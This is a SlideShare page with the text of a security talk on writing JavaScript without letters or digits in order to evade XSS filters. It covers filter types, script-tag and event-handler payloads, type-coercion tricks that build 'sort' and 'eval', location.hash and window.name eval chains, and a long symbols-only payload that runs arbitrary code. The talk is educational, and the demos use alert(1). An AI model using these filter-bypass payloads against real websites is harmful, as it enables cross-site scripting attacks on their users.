SlideShare uma empresa Scribd logo
1 de 32
Baixar para ler offline
The Great JavaScript wall.
 
But the condition is you can't use
numbers or letters
⦿Real life scenario: XSS filter blocks alphanumeric.
⦿Can defeat XSS filters.
⦿May not be easily detected
⦿The smartest answer is simply because we can.
$ whoami  
$ Nahidul Kibria
@nahidupa  
Synack Red Team,
Co-Leader, OWASP Bangladesh Chapter,
Principal Software Engineer - Orbitax Bangladesh Ltd.
Writing code for fun and food. Security enthusiastic.
HTML and JavaScript are live side by side
So if user insert malicious JavaScript that will
execute in client side
Request:
http://www.example.com/?name=<script>alert('XSS')</script>
Response:
<html>
<body>
<p>Hello <script>alert('XSS')</script></p>
</body>
</html>
⦿ ASP.NET built-in protection.
⦿ Microsoft Anti XSS.
⦿ Anti Samy
⦿ Mod security
⦿ Angular $sanitize
⦿ Goal:
• Remove all scripts from untrusted HTML
⦿ Challenges:
• Many HTML features that allow scripting
• Proprietary extensions to HTML
●<svg>
• Parsing invalid HTML (Browser support this)
• Browser bugs
⦿ Script tags
• <script src="http://www.example.com/xss.js">
⦿ Event handler attributes
• <body onload="alert('XSS')">
⦿ CSS
• <p style="background:url('javascript:alert(1)')">
⦿ URLs
• <img src="javascript:alert('XSS')">
⦿ • String matching filters
⦿ • HTML DOM parsers
⦿ • Canonicalization
⦿ • Whitelisting
Remove all script tags:
s/<script>//g;
Bypasses:
▪ Invalid HTML accepted by browsers
▪ Encoding of attribute values and URLs
▪ Using the filter against itself:
▪ <scr<script>ipt>
▪ Incomplete blacklists
<body onload="alert(1)">
<script>alert(2)</script>
<p>Hello</p>
</body>
⦿ Getting window reference.
⦿ Directly ‘window’ are blacklisted in XSS filter.
⦿ Why we are interest in ‘window’
⦿ Window reference give you more opportunity.
Like
⦿ Open popup
⦿ Redirect “window.location”
⦿ Read write window title and a lots
⦿ //all browsers
⦿ window;
⦿ self;
⦿ open().opener;
⦿ Date.constructor('return this')()
⦿ document.documentElement.ownerDocument.defaul
tView
⦿ x=''.split,x(null)
⦿ __proto__.__parent_
⦿ (function(){}).__proto__.__parent__
Numbers or letters not allowed
⦿ So we first try to get a window reference .
⦿ Then for POC just show a window.alert(1)
⦿ Lets try to write code x=[].sort,so x(1);
Any Idea?
⦿ Variables name can be Unicode or certain symbols
• _ , $, ٥, ੫, ੪, ૨, ୩, ୫, ୬, ୯ etc..
⦿ Dynamically weak type,can freely type convert 
• var x=+'2'; //string
• x= x+1; //x!3 //integer
⦿ arrays and objects become strings in concatenations 
• x=[1]+[true] //x ! '1true'
• x=1+true // x ! 2
⦿ strings can be treated as arrays of letters 
• x='test' //x[0] ! 't‘ x[1] ! 'e' x[2] ! 's' x[3] ! 't'
⦿ Array notation can be used for methods/properties 
• x=window['alert'];   //x(1) ! window
!0 ! true
!1 ! false
!'anystring' ! false
!'' ! true
![] ! false
!{} ! false
+false ! 0
+true ! 1
+'' ! 0
+'any' ! NaN
+[] ! 0
+{} ! NaN
''+false ! 'false‘
'+true ! 'true‘
''+{} ! '[object object]'
❑+[]==+’’==0
❑var °=+[]; // °==0
❑a=++º ; //a == 1 ,º == 1
❑b=º++; //b == 1 ,º == 2
❑c=º;  //c == 2;
❑d=º/º; //d == 1
❑e=-º ; //e == -2
❑f=~º ; //f == -3
❑g=º*º; //g == 4

var _='';
//!_==true ,{} =[object object]
➢Ø=!_+{}; // Ø =='true[object object]'
➢f=!Ø+_; //f=='false‘
➢º=+_; //º==0
❑Ţ=Ø[º]; // Ţ=='t'

❑ℝ=Ø[++º]; //ℝ=='r' º==1

❑Ŝ=f[º+++º]; //Ŝ==s, º==2

❑Ò=Ø[º+++º] // Ò == 'o' º==3
var _='';
//!_==true ,{} =[object object]
➢Ø=!_+{}; // Ø =='true[object object]'
➢f=!Ø+_; //f=='false‘
➢º=+_; //º==0
❑Ţ=Ø[º]; // Ţ=='t'

❑ℝ=Ø[++º]; //ℝ=='r' º==1

❑Ŝ=f[º+++º]; //Ŝ==s, º==2

❑Ò=Ø[º+++º] // Ò == 'o' º==3
❑ Ŝ+Ò+ ℝ+Ţ=='sort‘
❑ [][Ŝ+Ò+ ℝ+Ţ]==[].sort
❑ [a=1,b=1] [Ŝ+Ò+ ℝ+Ţ]==[].sort
❑ [_='', Ø=!_+{}, f=!Ø+_, º=+_, Ţ=Ø[º], ℝ=Ø[++º], Ŝ=f[º++º],
Ò=Ø[º++º] ] [Ŝ+Ò+ ℝ+Ţ]==[].sort


❑ so we have window now what?
❑ To get eval we need a "v"
' '+([].sort)->'function sort(){native code] }'
❑ But getting some letters can be difficult perhaps even
impossible. 
❑ true,false and object  only provide 12 letters 
❑ ''+1/0->Infinity' //gives 'n'
❑ /./['constructor'] //Gives 'p'
❑ String.formCharCode requres an 'h','c'
❑ What if we could load code from elsewhere?
❑ window.name
❑ location.hash
❑ Window.name='alert(1)'
❑ window['eval'](window['name'])
❑ window.name='javascript:alert(1)'
❑ window[location']=window['name']
❑ By the way getting 'm' can take a lot code
❑ http://url/#javascript:aler(1)
❑ window['location']=window[location']['hash']
❑ but getting hash require 'h'
❑ æ=window,_='location
❑ http://url/#javascript:alert(1)

æ[_]=æ['eval']('/*'+æ[_])
❑ http://uri/#*/alert(1)//eval

æ[_]=æ[($='/*'+æ[_])['slice'](-4)]($)
❑ In firefox Only executing alert(1)
❑  
❑ first idea : 472 character
❑ latest entry: 63 character
❑  
❑ first for arbitrary code no btoa : 154
❑ latest for arbitrary code no btoa 103
❑  
❑ first arbitrary code cross browser 240
❑ latest arbitrary code cross browser 160 
❑ So far we have assign variables and used Unicode
character look like letters.
❑ but if we build each part of string from scratch we
don't even need variables names.
❑ what's the smallest set of characters required to
execute arbitrary javascript?
❑ First attempt 8 characters: []+,!()/❑ ([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])
[+!![]]+(!![]+[])[+![]]])()[(!![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+[]+(!![]
+!![]+!![]+!![]+!![]+!![]+!![])]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]](([]+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]
+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!!
[]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+!
[]]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!!
[]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]])[(![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+
(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]((+!![]/+([]+(+!![])+(+!![])+
(+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+[])[(+!![])+[]+(!![]+!![]+!![]+!![]+!![]+!![]+!![])]+(!![]+!![]))+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!!
[]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![]
+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]
+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]
+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]]) 

 
Execute: eval((''+location).slice(-2)+location)
Use with : http://www.victim.com/#"alert(1)//"
⦿ Reduced 7 character sets: []+,!()
6 character sets:
❑ []+!()
❑ []+=()
❑ []+=/_
⦿ and that’s the wall 
• always require []+
• Allows you to generate undefined,Infinity.NaN
Learn from Internet...Some real masters are
 
joey Tyson
Gareth Heyes
LeverOne
David Lindsay
⦿ If you have no question
Thanks

Mais conteúdo relacionado

Mais de Nahidul Kibria

Mais de Nahidul Kibria (8)

Breaking the cyber kill chain!
Breaking the cyber kill chain!Breaking the cyber kill chain!
Breaking the cyber kill chain!
 
Threat hunting != Throwing arrow! Hunting for adversaries in your it environment
Threat hunting != Throwing arrow! Hunting for adversaries in your it environmentThreat hunting != Throwing arrow! Hunting for adversaries in your it environment
Threat hunting != Throwing arrow! Hunting for adversaries in your it environment
 
Sending a for ahuh. win32 exploit development old school
Sending a for ahuh. win32 exploit development old schoolSending a for ahuh. win32 exploit development old school
Sending a for ahuh. win32 exploit development old school
 
Scaling application with RabbitMQ
Scaling application with RabbitMQScaling application with RabbitMQ
Scaling application with RabbitMQ
 
G3t R00t at IUT
G3t R00t at IUTG3t R00t at IUT
G3t R00t at IUT
 
Banking malware zeu s zombies are using in online banking theft.
Banking malware zeu s zombies are using in online banking theft.Banking malware zeu s zombies are using in online banking theft.
Banking malware zeu s zombies are using in online banking theft.
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 

Último

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 

Último (20)

Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 

Writing java script without numbers or letters

  • 2.   But the condition is you can't use numbers or letters
  • 3. ⦿Real life scenario: XSS filter blocks alphanumeric. ⦿Can defeat XSS filters. ⦿May not be easily detected ⦿The smartest answer is simply because we can.
  • 4. $ whoami   $ Nahidul Kibria @nahidupa   Synack Red Team, Co-Leader, OWASP Bangladesh Chapter, Principal Software Engineer - Orbitax Bangladesh Ltd. Writing code for fun and food. Security enthusiastic.
  • 5. HTML and JavaScript are live side by side So if user insert malicious JavaScript that will execute in client side
  • 7. ⦿ ASP.NET built-in protection. ⦿ Microsoft Anti XSS. ⦿ Anti Samy ⦿ Mod security ⦿ Angular $sanitize
  • 8. ⦿ Goal: • Remove all scripts from untrusted HTML ⦿ Challenges: • Many HTML features that allow scripting • Proprietary extensions to HTML ●<svg> • Parsing invalid HTML (Browser support this) • Browser bugs
  • 9. ⦿ Script tags • <script src="http://www.example.com/xss.js"> ⦿ Event handler attributes • <body onload="alert('XSS')"> ⦿ CSS • <p style="background:url('javascript:alert(1)')"> ⦿ URLs • <img src="javascript:alert('XSS')">
  • 10. ⦿ • String matching filters ⦿ • HTML DOM parsers ⦿ • Canonicalization ⦿ • Whitelisting
  • 11. Remove all script tags: s/<script>//g; Bypasses: ▪ Invalid HTML accepted by browsers ▪ Encoding of attribute values and URLs ▪ Using the filter against itself: ▪ <scr<script>ipt> ▪ Incomplete blacklists
  • 13. ⦿ Getting window reference. ⦿ Directly ‘window’ are blacklisted in XSS filter. ⦿ Why we are interest in ‘window’ ⦿ Window reference give you more opportunity. Like ⦿ Open popup ⦿ Redirect “window.location” ⦿ Read write window title and a lots
  • 14. ⦿ //all browsers ⦿ window; ⦿ self; ⦿ open().opener; ⦿ Date.constructor('return this')() ⦿ document.documentElement.ownerDocument.defaul tView ⦿ x=''.split,x(null) ⦿ __proto__.__parent_ ⦿ (function(){}).__proto__.__parent__
  • 15. Numbers or letters not allowed ⦿ So we first try to get a window reference . ⦿ Then for POC just show a window.alert(1) ⦿ Lets try to write code x=[].sort,so x(1); Any Idea?
  • 16. ⦿ Variables name can be Unicode or certain symbols • _ , $, ٥, ੫, ੪, ૨, ୩, ୫, ୬, ୯ etc.. ⦿ Dynamically weak type,can freely type convert  • var x=+'2'; //string • x= x+1; //x!3 //integer ⦿ arrays and objects become strings in concatenations  • x=[1]+[true] //x ! '1true' • x=1+true // x ! 2 ⦿ strings can be treated as arrays of letters  • x='test' //x[0] ! 't‘ x[1] ! 'e' x[2] ! 's' x[3] ! 't' ⦿ Array notation can be used for methods/properties  • x=window['alert'];   //x(1) ! window
  • 17. !0 ! true !1 ! false !'anystring' ! false !'' ! true ![] ! false !{} ! false +false ! 0 +true ! 1 +'' ! 0 +'any' ! NaN +[] ! 0 +{} ! NaN ''+false ! 'false‘ '+true ! 'true‘ ''+{} ! '[object object]'
  • 18. ❑+[]==+’’==0 ❑var °=+[]; // °==0 ❑a=++º ; //a == 1 ,º == 1 ❑b=º++; //b == 1 ,º == 2 ❑c=º;  //c == 2; ❑d=º/º; //d == 1 ❑e=-º ; //e == -2 ❑f=~º ; //f == -3 ❑g=º*º; //g == 4

  • 19. var _=''; //!_==true ,{} =[object object] ➢Ø=!_+{}; // Ø =='true[object object]' ➢f=!Ø+_; //f=='false‘ ➢º=+_; //º==0 ❑Ţ=Ø[º]; // Ţ=='t'
 ❑ℝ=Ø[++º]; //ℝ=='r' º==1
 ❑Ŝ=f[º+++º]; //Ŝ==s, º==2
 ❑Ò=Ø[º+++º] // Ò == 'o' º==3
  • 20. var _=''; //!_==true ,{} =[object object] ➢Ø=!_+{}; // Ø =='true[object object]' ➢f=!Ø+_; //f=='false‘ ➢º=+_; //º==0 ❑Ţ=Ø[º]; // Ţ=='t'
 ❑ℝ=Ø[++º]; //ℝ=='r' º==1
 ❑Ŝ=f[º+++º]; //Ŝ==s, º==2
 ❑Ò=Ø[º+++º] // Ò == 'o' º==3
  • 21. ❑ Ŝ+Ò+ ℝ+Ţ=='sort‘ ❑ [][Ŝ+Ò+ ℝ+Ţ]==[].sort ❑ [a=1,b=1] [Ŝ+Ò+ ℝ+Ţ]==[].sort ❑ [_='', Ø=!_+{}, f=!Ø+_, º=+_, Ţ=Ø[º], ℝ=Ø[++º], Ŝ=f[º++º], Ò=Ø[º++º] ] [Ŝ+Ò+ ℝ+Ţ]==[].sort 

  • 22. ❑ so we have window now what? ❑ To get eval we need a "v" ' '+([].sort)->'function sort(){native code] }' ❑ But getting some letters can be difficult perhaps even impossible.  ❑ true,false and object  only provide 12 letters  ❑ ''+1/0->Infinity' //gives 'n' ❑ /./['constructor'] //Gives 'p' ❑ String.formCharCode requres an 'h','c' ❑ What if we could load code from elsewhere? ❑ window.name ❑ location.hash
  • 23. ❑ Window.name='alert(1)' ❑ window['eval'](window['name']) ❑ window.name='javascript:alert(1)' ❑ window[location']=window['name'] ❑ By the way getting 'm' can take a lot code ❑ http://url/#javascript:aler(1) ❑ window['location']=window[location']['hash'] ❑ but getting hash require 'h'
  • 24. ❑ æ=window,_='location ❑ http://url/#javascript:alert(1)
 æ[_]=æ['eval']('/*'+æ[_]) ❑ http://uri/#*/alert(1)//eval
 æ[_]=æ[($='/*'+æ[_])['slice'](-4)]($)
  • 25.
  • 26. ❑ In firefox Only executing alert(1) ❑   ❑ first idea : 472 character ❑ latest entry: 63 character ❑   ❑ first for arbitrary code no btoa : 154 ❑ latest for arbitrary code no btoa 103 ❑   ❑ first arbitrary code cross browser 240 ❑ latest arbitrary code cross browser 160 
  • 27. ❑ So far we have assign variables and used Unicode character look like letters. ❑ but if we build each part of string from scratch we don't even need variables names. ❑ what's the smallest set of characters required to execute arbitrary javascript?
  • 28. ❑ First attempt 8 characters: []+,!()/❑ ([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[]) [+!![]]+(!![]+[])[+![]]])()[(!![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+[]+(!![] +!![]+!![]+!![]+!![]+!![]+!![])]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]](([]+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![] +!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!! []]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+! []]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!! []]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]])[(![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+ (/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]((+!![]/+([]+(+!![])+(+!![])+ (+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+[])[(+!![])+[]+(!![]+!![]+!![]+!![]+!![]+!![]+!![])]+(!![]+!![]))+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!! []+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![] +[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![] +[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![] +!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]]) 
   Execute: eval((''+location).slice(-2)+location) Use with : http://www.victim.com/#"alert(1)//"
  • 29. ⦿ Reduced 7 character sets: []+,!() 6 character sets: ❑ []+!() ❑ []+=() ❑ []+=/_ ⦿ and that’s the wall  • always require []+ • Allows you to generate undefined,Infinity.NaN
  • 30. Learn from Internet...Some real masters are   joey Tyson Gareth Heyes LeverOne David Lindsay
  • 31.
  • 32. ⦿ If you have no question Thanks